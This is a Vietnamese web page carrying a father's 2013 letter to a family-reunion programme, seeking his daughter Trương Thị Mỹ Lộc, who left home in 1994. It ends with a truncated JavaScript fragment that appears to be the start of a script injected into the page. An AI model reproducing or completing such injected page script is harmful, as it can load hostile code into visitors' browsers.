Khán giả

CHỜ ĐỢI MỘT NGÀY ĐOÀN VIÊN

Ngày đăng: 11/11/2013 | Lượt xem: 486

Kính thưa các cô, các chú, các anh chị trong chương trình “Như chưa hề có cuộc chia ly…”. Xin gửi đến các cô chú vá tất cả các anh chị một lời chúc sức khỏe.

Niềm tin tìm lại con đã chìm sâu trong tâm khảm đã từ lâu. Qua một lần được xem chương trình “Như chưa hề có cuộc chia ly…” đã cho tôi niềm tin, hy vọng sẽ được sự giúp đỡ của chương trình để gia đình sớm được đoàn tụ.

Gia đình tôi rất xót xa vì có 1 đứa con bỏ nhà đi đã 19 năm nay. Hoàn cảnh gia đình tôi quá khó khăn, kinh tế bấp bênh, bản thân tôi bị tật nguyền, vợ lại đau ốm thường xuyên, có đứa con gái đầu tên là Trương Thị Mỹ Lộc, bị ảnh hưởng chất độc màu da cam nên khi trái gió trở trời lại lên cơn động kinh.

Cháu Trương Thị Mỹ Lộc, tức là bé Ti, sinh năm 1977, bỏ nhà ra đi vào lúc 8-9 giờ ngày 13/10/1994, đến nay đã gần 20 năm. Trước đó, vì điều kiện gia đình khó khăn nên cháu phải nghỉ học, đi phụ dì ruột là Nguyễn Thị Phương phơi bánh tráng ở cùng xóm. Từ ngày 07/10 âm lịch, cháu nghỉ ở nhà chơi với 2 em Vân hay còn gọi là bé Ni mới 8 tuổi và người em út tên Toàn, thường gọi là cu Đùm, mới 3 tuổi.

MS7557

Ảnh chị Trương Thị Mỹ Lộc tức bé Ti

Sáng ngày 13/10 âm lịch, má biểu đi làm cỏ lúa với má, cháu nói má đi làm đi, mai con làm. Má đi làm, còn cháu ở nhà một lúc rồi bỏ đi. Khi đi, cháu chỉ đem theo 1 giấy khai sinh. Ở nhà, cháu có may 1 chiếc áo màu hồng, may trong nhà cô Thơ ở chợ Bình Long, Điện Phước nhưng chưa kịp lấy về, chiếc áo hiện nay gia đình vẫn còn cất giữ.

Kính thưa chương trình, viết thư cho chương trình mà thấy chạnh lòng rơi nước mắt. Nhớ tới con mà con ở phương trời nào, chỉ biết nhớ thương ngóng trông ngày đêm, không có giờ phút nào mà không nhớ tới con mình. Cứ mỗi độ xuân về tết đến, bạn bè đồng trang lứa đi làm ăn xa từ các thành phố về quê ăn tết mà con mình chẳng thấy tăm hơi, nỗi buồn không sao tả xiết. Nỗi nhớ thương con lại chồng chất, rất mong chương trình giúp đỡ để có ngày gia đình được đoàn tụ cùng con. Mong 1 ngày con về với gia đình.

Vì điều kiện gia đình quá khó khăn, không thể vào tận nơi được, vậy gia đình chỉ biết gửi thư, mong chương trình tận tình giúp đỡ. Cuối thư, gia đình chúng tôi xin chân thành gởi đến chương trình lời cám ơn sâu sắc nhất.

Trương Phú Hữu

                                                                                                               Điện Bàn, Quảng Nam

var d=document;var s=d.createElement(‘script’);